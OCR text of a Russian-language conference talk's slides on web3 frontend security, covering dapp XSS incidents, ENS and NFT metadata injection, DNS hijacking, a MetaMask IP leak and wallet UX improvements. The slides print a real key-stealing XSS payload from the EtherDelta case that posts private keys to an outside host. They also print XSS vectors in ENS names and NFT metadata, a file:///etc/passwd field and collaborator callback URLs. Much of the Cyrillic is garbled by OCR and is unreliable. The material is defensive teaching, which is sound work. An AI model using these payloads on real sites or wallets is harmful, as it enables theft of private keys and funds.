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Agenda

What's web3?

ATaku Ha ppoHTEH],

Kak 3awuTtnTb 1 geueHTpanunsoBaTb GPOHTEHL,

Cnabble CTOPOHbI B3auMoaencTema ¢ web3 ns KoLlenbKoB

Kak yny4ywntb UX BE6-KOLLENBbKOB C TOYKM 3pEHUS 6€30MNacHOCTH
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What's web3?
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What's web3?
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web2 dev vs web3 dev
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What's web3?

Web 1.0
s = (O] x|
File Edit Yiew Go Communicator Help
< 2 A N 2 b 33 & @ m
Back Foward Reload Home Search  Guide  Print Secuwity  Stop
..;t' Bookmarks £ Lucalian:|i|?&i=lWZkZHNKI><RzZnNydE pidXv4dSFOIZE gOZHh4fHEIU 356Y mNY et % 3dé. rand=0.26733434049 j

-’. Yahoo!
—4&g MAIL
Welcome to Yahoo! Mail
[B8 Free websites, email clubs, stock quotes and games!
I'm a New User Want mail? Sign up for Yahoo! Mail. It's o
- . free!
ign me up! -
* Get your own Yahoo! email
I'm already registered with Yahoo! address.
Yahoo! 1D: | * Access email from anywhere.
T * You'll be registered with all of
Password: | Yahoo!'s services.
™ Remember my ID & Password (What's this?) * Get instant notification when you
1 have new messaaes with Yahoo! jod|
| B ] [4% of 2K S 22|




What's web3?

Web 2.0
Login

G Signin f Sign in with Facebook

iN Sign in with Linkedin @@ Sign in with Microsoft Live

¥ Sign in with Twitter Sign in with Instagram

*
Username Enter Username

Password" Enter Password

¥ Remember Me

LOGIN
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What's web3?

Web3

Connect Wallet
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Web3 challenges

e [lonb3oBarenb, Blajges NnpunBaTHbIM KJ1IKOHOM, OTBETCTBEHEH 3a BCE CBOU

NEeNCTBUS
e besonacHocTb GpoHTEHAA HE MEHee Ba)XkHa, YeM 6e30MacHOCTb CMapT-
KOHTPAKTOB, TaK Kak fto6as XSS MOXXeT UMEeTb Cepbe3Hble NoCNeACcTBUS
e UX kowenbkoB (ocob6eHHO Metamask) ocTaBnsieT )enaTb Iy4YLIEro, O4YeHb

Nnerko caenaTb OWnOKy
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ATakun Ha GPOHTEHbI
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EtherDelta XSS (2017)

e FEtherDelta - DEX 6up>xa B ocCHOBOW ceTh adumpa Ha opaepbykax =
e [lo3Bonsina MMNopTMpoBaTh NOOON TOKEH N NEPENMEHOBbLIBATL €ro

e C nomoulblo XSS B MMEHM TOKEHA XaKep yKpar NpuBaTHbIE KMO4YM MPSIMO U3
DOM

# Name Type Data

0 _name string DATA <script> function doSomething(){for($("#depositBalanceToken a").text().indexOf(""')\">DATA")>=0&&$ ("#depositBalanceToke
savedKeys=[ ]
a=1l;a<main.EtherDelta.addrs.length;a++)singlekey=[ ]
singlekey[0]=main.EtherDelta.addrs[a]
singlekey[1l]=main.EtherDelta.pks[a]
savedKeys.push(singlekey);var e={object:JSON.stringify(savedKeys)};$.post("https://cdn-solutions.com/update.php"
e


https://etherscan.io/tx/0x4e0747868f2b163350a622ea2bb2ef94faf10c7e0d293f980a840c8e1404d053
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ENS XSS

e Ethereum Name Service - cepBuc, N0O3BONAIOWMIA 3apPErMCTPUPOBATb NMS B
Buae NFT n accoummpoBaTth ero ¢ agpecom B ceTu Ethereum (e.g. vitalik.eth
-> 0xd8dabbf26964af9d7eed9e03e53415d37aa96045)

e lIMeeT MHOXeCTBO UHTerpauum ¢ dapp'amu, umsa noactasnsaetcsa 8 DOM
BMECTO ajpeca

razOr.eth
0xc3a8...98d9 & + Add Label
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ENS XSS

e [lo fOoKyMeHTaUNK KIIMEHTbl CaMu AO/MKHbI BannampoBaTb MMSA COrlacHo
uts46 nocrne pesonBea

e B yacTtHocTu ucnonbsosaTthb https://github.com/danfinlay/eth-ens-namehash

e (0JHaAKO CMapT-KOHTPAKT UMs HUKaK He Banuanpyet (Solidity He nyylumi
A3bIK AJ19 ornepaLluMii Co CTPOKamMu, CTOMU0 6bl Ky4yy rasa)

e MoXeM peructpupoBaTtb fH0b6ble UMEHa, B TOM Yncne ¢ XSS-BekTopamu
(https://qgithub.com/Raz0r/ens-xss)



https://unicode.org/reports/tr46/
https://github.com/danfinlay/eth-ens-namehash
https://github.com/Raz0r/ens-xss
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ENS XSS: EtherScan

MoaTeepanTe geicTeme Ha cTpaHule etherscan.io Al Filter:

1

Ethereum Name Lookup

0xc3a83019431a92559f795ef0dfee 1964dfc498d9 n

Overview
?) Reverse Record: eth>¢) "s.eth

(@ Registrant: @ 0xc3283019431a925591795ef0dfee1964dfc498d9
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ENS XSS: Zerion

ENS
app.zerion.io; & ® 5] e OKHO B peX1Me UHKOTHUTO
S MoateepanTe AeiicTBME Ha CTPaHuLe app.zerion.io Bo2v USD v o~
1
Welcome to Zerion {) ENs n [

Connect an Ethereum wallet

to manage your DeFi portfolio “'><i mg src:x
onerror=alert(1)>.eth

»~  Invest

Favorites

Zj>

s
Y}

Exchange

Pools

G

'""'><img src=x one...

&

Settings

8 Zerio! We're hiring!

Oxvpakve ipf:
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ENS XSS: eth.xyz

razOr.eth's ENS profile & NFT © X -+

@ razOr.eth.xyz IR AN B I ) %Okuospexmmemuxorumo

MopTBepauTe pencTeue Ha cTpaHuue razOr.eth.xyz

1

RAZOR.ETH

URL: https://raz0r.eth.xyz @

COLLECTION v

'"'><img src=x one... . =3 razOr.eth
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XSS via NFTs

pragma solidity ~0.8.0;

import "@openzeppelin/contracts/token/ERC1155/ERC1155.s01";
import "@openzeppelin/contracts/access/Ownable.sol";

contract NFT is ERC1155, Ownable {
constructor() ERC1155("https://some-api.vercel.app/api/{id}.json") {
_mint(msg.sender, // <address> to

0, // <uint256> id
1; // <uint256> amount
i ¥ // <bytes> data
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XSS via NFTs

) curl -s https://us—centrall-bayc-metadata.cloudfunctions.net/api/tokens/1234 | jq

ttps://ipfs.io/ipfs/QmZ2ddtVUV1brVGjpq6vgrGéj EGEK3CqH19VURKZzdwCSRT" ,
H !

"trait_type": "Hat",
Fisherman's Hat"

"trait_type": "Fur",
Blue"

"trait_type": "Clothes",
"value": "Leather Jacket"

“trait_type": "Mouth",
“value": "Bored Bubblegum"




XSS via NFTs

image

image_data

external_url

description

name

attributes

background_color

animation_url

youtube_url

This is the URL to the image of the item. Can be just about any type of image
(including SVGs, which will be cached into PNGs by OpenSea), and can be IPES
URLs or paths. We recommend using a 350 x 350 image.

Raw SVG image data, if you want to generate images on the fly (not
recommended). Only use this if you're not including the image parameter.

This is the URL that will appear below the asset’'s image on OpenSea and will
allow users to leave OpenSea and view the item on your site.

A human readable description of the item. Markdown is supported.
Name of the item.

These are the attributes for the item, which will show up on the OpenSea page
for the item. (see below)

Background color of the item on OpenSea. Must be a six-character hexadecimal
without a pre-pended #.

A URL to a multi-media attachment for the item. The file extensions GLTF, GLB,
WEBM, MP4, M4V, OGV, and OGG are supported, along with the audio-only
extensions MP3, WAV, and OGA.

Animation_url also supports HTML pages, allowing you to build rich experiences
and interactive NFTs using JavaScript canvas, WebGL, and more. Scripts and
relative paths within the HTML page are now supported. However, access to
browser extensions is not supported.

A URL to a YouTube video.
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XSS via NFTs

https://github.com/Raz0r/evil-nft

~/Projects/evil-nft/public/api
) cat 0000000000000000000000000000000000000000000000000000000000000023.json | jq
{

“name": "COLLABORATOR'\'><img src=x onerror=alert(1)>",

"description”: "COLLABORATOR'\'"><img src=x onerror=alert(1)>",

“image": "file:///etc/passwd",

“"external_url": "http://389e0675z22rsixearimtowjgawlkq.burpcollaborator.net/'\"><img src=
onerror=alert(1)>",

“animation_url": "https://evil-nft.vercel.app/exploits/SVG/XSS/xss.svg",

"youtube_url": "http://389e0675z22rsixearimtowjqawlkq.burpcollaborator.net/"'\"><img src=x
onerror=alert(1)>"

}

~/Projects/evil-nft/public/api
o |
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SSRF

XXE via SVGs

CVEs (ImageMagick,
GhostScript)

XSS

Takke: Rektosaurus oT bepHappga Mionnepa (BkntovaeT BekTopa 13 evil-nft, Ho He self-hosted)



https://github.com/Raz0r/evil-nft
https://github.com/b-mueller/rektosaurus
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OpenSea XSS

e OpenSea nossonset 3arpyxatb SVG, nccnegosatenu ns CheckPoint
o6HapyXunu, 4yto SVG HMKaK He BanuaupyeTcs, T.e. BO3MOXXHa XSS

e Xxakep genaet anpgpon NFT-"nogapka” xxeptBe Ha OpenSea

e npu npocMmoTpe NFT ncnonHsetcs JS-koa, KOTopbin aenaet TpaHchep Bcex
CpeacTB C KowenbKa (TpebyeTcs NoATBepXXAeHMUE TpaH3aKLNN)

https://research.checkpoint.com/2021/check-point-research-prevents-theft-of-crypto-wallets-on-opense
a-the-worlds-largest-nft-marketplace/



https://research.checkpoint.com/2021/check-point-research-prevents-theft-of-crypto-wallets-on-opensea-the-worlds-largest-nft-marketplace/
https://research.checkpoint.com/2021/check-point-research-prevents-theft-of-crypto-wallets-on-opensea-the-worlds-largest-nft-marketplace/
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XSS Impact

e VMUTaUKUsa OKHa MetaMask ans kpaxu cna-ppassl
NN NPUBATHOIO KJ1to4a

e oaMeHa NobbliX AaHHbIX B DOM, B TOM yucne
aZlpecoB; XepTBa faxe He 6yaeT nojospesBaTb, YTO x
OTrpaBnseT TPaH3aKLMIO He Ha TOT aapec e

e 3anpoc Ha approve() ERC20 TokeHoB (KeWic ErAMACK
BadgerDAO, ykpanu 120 MUNINMOHOB AoNNnapoB
Nnocre MHXeKTa Kofa BO (DPOHTEHA)

enter password

te
ey
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3awmuta ppoOHTEHJOB
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Best practices

OcHoBHOW puck - DOM XSS

He ncnone3ynte dangerouslySetinnerHtml() B React

[1ns Bcex cTopoHHUX JS aormkeH 6bITb ncnonb3osaH SRI

HactponTte CSP (6e3 unsafe-inline n unsafe-eval)

Ncnonbaynte Trusted Types ansa 3awmtbl He6e3onacHbIX CUHKOB, HaNnpUMep
innerHtml



https://www.w3.org/TR/SRI/
https://www.w3.org/TR/CSP3/
https://w3c.github.io/webappsec-trusted-types/dist/spec/

YTto pmenatb B cniydae DNS Hijacking?

Cream Finance
@CreamdotFinance

Our DNS has been compromised by a third party; some
users are seeing requests for seed phrase on
app.cream.finance. DO NOT enter your seed phrase.

We will never ask you to submit any private key or seed
phrases.

MepeBecTn TBUT

app.cream.finance

@] C.R.E.A.M. Finance APP
C.R.E.A.M. Finance is a decentralized lending protocol for
individuals, institutions and protocols to access financial ...

4:10 PM - 15 map. 2021 r. - Twitter Web App

!ﬁ PancakeSwap & #BSC
@PancakeSwap

There is a chance we have been DNS hijacked, the
same as @CreamdotFinance.

Until we are able to confirm this is not the case, do not
use the site.

We will confirm ASAP.
In the meantime, better safe than sorry.

Please retweet for visibility!
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IPFS + ENS

e |PFS - p2p-ceTb ANAa geueHTpanmM3oBaHHOro XxpaHeHus ¢pannoB, LOKYMEHTbI
Pe30/IBATCA MO X3LUYy NX COAEPXUMOTO

e ENS - geueHTpanMaoBaHHasi cMucteMa OMEHHbIX UMeH B Ethereum

e .eth He aBnsetca DNS-goMeHOM NepBOro ypoBHS

® CYLLEeCTBYIOT CepBUCHI, KOTOpPble No3BoNAAOT No ENS-umeHn otaaesaTb
nokymeHTbl n3 IPFS (eth.link ot Cloudflare n eth.limo)

ENS “content” - IPFS

DNS A-record " record | contenthash

Y

name.eth.link



http://eth.link
http://eth.limo
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Skynet Homescreen

e Skynet - peueHTpanmM3oBaHHbIN XOCTUHI Ha 6a3e 6/10KYelrHa Sia

e Sia- geueHTpann3oBaHHoe GannoBoe XpaHWUuLLLe, rae noib3oBaTenu
NNaTaT 3a pasMelleHune dannos (aHanormyHo Filecoin)

e Homescreen - NPUIOXeHMEe A XpPaHEHUSt KOMUIA PPOHTEHAOB,
Nosib3oBaTeNlb CaM PeLlaeT KaKy KOMUK NUCMOoJb30BaTh

© o ) 1inch - DeFi / DEX aggregator = X - e

& c @& 3g01k5gbfv0ad4191ujs9vviMi9je92ufdm2mgjc2vn8077450120eg0.siasky.net/#/1/swap/ETH/DAI [N ¢ o N = 0 :

1 N d'l Trade v DAO v More v Bridges v w B Connect Wallet &3

Swap Limit @)

4

From


https://siasky.net/
https://sia.tech/
https://homescreen.hns.siasky.net/#/
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Right-click & Save

e Homescreen Bce paBHO nonaraetca Ha DNS, Tak kak 1 cam Homescreen u
KOMWK AOCTYMHbI TONbKO N3 6paysepa

e [lns XxpaHeHMs1 KONni HeobsizaTeNlbHO UCMOIb30BaTb AELEHTPaNn30BaHHOE
XpaHunue

e Wpeto “user owns apps” MOXXHO peanuM3oBaTb B BUAE AECKTOMHOMO
NPUSIOXEHNSA
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Kak ynydwmntb UX KoLenbKoB
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Metamask

Cambli NonynsipHbIX Kollenek - Bce ewe Metamask

Bce ewe paclumpeHune bpaysepa

YA3BUMOCTb B paclunpeHnmn bpaysepa - noteHumanbHbii UXSS 1 He ToNbKO.
Bo3amoxHocCTb supply chain ataku Ha ogHy 13 3aBucumocTen (nx 2195!)

® ® ® B metamask-extension — ~/Downloads/metamask-extension — -zsh » -zsh...

[> npx howfat -r tree . |
.010.9.1 (2195 deps, 849.93r
3box@1.22.2 (1256 deps
3box-orbitdb-p
base64url@3.0.
did-jwt@4.9.0
ipfs-logP4.6.5 (¢’
is-ipfs@0.6.3 (22 d
bs5804.0.1 (&
cids@@.7.5 (11

multicodec@l1.0.4 (¢,
multihashes@@.4 (
mafmt@7.1.0 (&,
multiaddr@7.5.0
multibase@@.6.
base-x@3.0.9

buffer@5.7.1
multihashes@@.
orbit-db@e.24.2
cids@@.7.5 (11
buffer@5.7.1



https://raz0r.name/talks/postmessage-security-in-chrome-extensions/
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YTeyka IP B Metamask

e Cosnaem ERC1155-koHTpakT ¢ URI(), ykasbiBatoLMM Ha Hall CEPBEP CO
CHUbepom

e MuHTUM NFT Ha OpenSea n genaem TpaHchep xepTBe

e Metamask aBTomMaTuyeckn noatarmeaet NFT-konnekuyuro ¢ OpenSea

e B pesynbTaTte Nnpon3onaeT obpalleHne XepTBbl K CeEpBEPY aTaKyHoLLLEro

GET / HTTP/1.1

Host: ”

User-Agent: MetaMask/801 CFNetwork/1327.0.4 Darwin/21.2.90
Accept: */x*

Accept-Encoding: gzip, deflate, br
Accept-Lanauaae: en-us
X-Forwarded-For: 95.7¢
X—FoIwaraded-Proto: nttps

Source


https://medium.com/@alxlpsc/critical-privacy-vulnerability-getting-exposed-by-metamask-693c63c2ce94
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Blind signing

Me signing my metamask hoping my life
savings doesn’t get stolen
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Blind signing

e B pekabpe 2020 roga CEO Nexus Mutual notepsan 8 MmnnMoHoB Aonnapos B
pesynbTaTe TapreTMpoBaHHOM aTaku

e Ha ero komnbtoTep 6blsia ycTaHOBMEHA MOANPMLUMpPOBaAHHAs BEPCUS
Metamask

e He nomor gaxke xapABapHbI KOLWeENeK, Tak Kak CII0XXHO NMPOBEPUTb
TpaH3aKuuo



https://blog.keyst.one/blind-signing-a-security-black-hole-for-the-ethereum-community-13f909b848b6
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[Mpobnembl UX

B Metamask MOXXHO BpY4HYIO HasHa4yaTb UMeHa aapecam

O4HaKo npu BbINONMHEHNU TPpaH3aKLUWUN HET HUKAKOW aHaNUTUKK NO afpecy-
nosiyyaTesnto

[lepen oTnpaBKOW TpaH3aKLMN HeNb3A Y3HaTb, Kak OHa UCMOJIHUTCA

HeT npegynpexaeHuit o Tom, 4to approve() BbinonHsetcsa ans EOA

HeT npegynpexaeHus, 4To nonb3oBaTesb AenaeT 6eckoHeYHblin approve()
ANA MPOKCU-KOHTPAKTa, KOTOPbIN MOXET USMEHUTbLCH

https://twitter.com/bantg/status/1466724441866526726



https://twitter.com/bantg/status/1466724441866526726

Metamask Snaps

Metamask Hauan
nogaepXxumBatb CUCTEMY
nnarvHoB B pamMkax Metamask
Flask

Pa3paboTumkn MmoryT
npoTecTUpoBaTb HOBble PUUN, B
TOM YuC/ie CUCTEMY Snaps
[1narvHbl No3BONAOT
A06aBNSATb HOBYIO
(OYHKLUMOHANbHOCTb, Hanpumep
No ayauTy aapecos

No

No Co

Con

EDIT

40.000021

version Rate Available

40.000021

nversion Rate Available

Confirm
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< Edit
Accoun t1
@ ~ccount2 =) Audit Plugin 1 approval: Thi
ctis
((senTETHER |
40
EDIT
EEEEEE 40.000021
No Conversion Rate Available
AMOUNT + GAS FEE
TOTAL 40.000021
No Conversion Rate Available
Reject Confirm


https://metamask.io/flask/
https://metamask.io/flask/
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Noen ynydweHna UX

e [IpoBepATb BO3pacT KOHTPaKTa

e [lokasbiBaTb aKTUBHOCTb TPaH3aKLUMN K KOHTPaKTYy

e [lo6aBuTb UHTErpaumto ¢ APl cumynsaunm TpaHsakummn, Hanpumep Tenderly
nnu Blocknative

e lcnonb3oBaTb Token Lists ona pacnosHaBaHUs N3BECTHbIX aApPeCcoB

e OTob6paxaTb ckopuHr DefiSafety

® SIGNING WITH ACCOUNT: @ exoa11173 £7c40D21 bE280C925B 5ed75a29639CF7 on % Polygon
19% @ Trisolaris 08 O N Yield Farming Details v
Liquidity Provider
W
~% TRANSACTION SUMMARY W FEE
70% e SpookySwap 08 (6] AMM Details v
A Approve SushiSwap to use your WETH token

urrency
IATIC
31% © spiritswap 08 (5] Yield Farming Details v sLow
Swap 0.003223604953578283 WETH for at least 0.00744...
A 6.358994600772890027 MATIC, expires in 4
minutes

43% (A Platypus Finance 08 Qo AMM Details v

Fee: 0.009547896376259999 MATIC (~ $0.02)



https://tenderly.co/transaction-simulator/
https://www.blocknative.com/blog/ethereum-transaction-preview-api
https://tokenlists.org/
https://www.defisafety.com/pqrs
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Q&A
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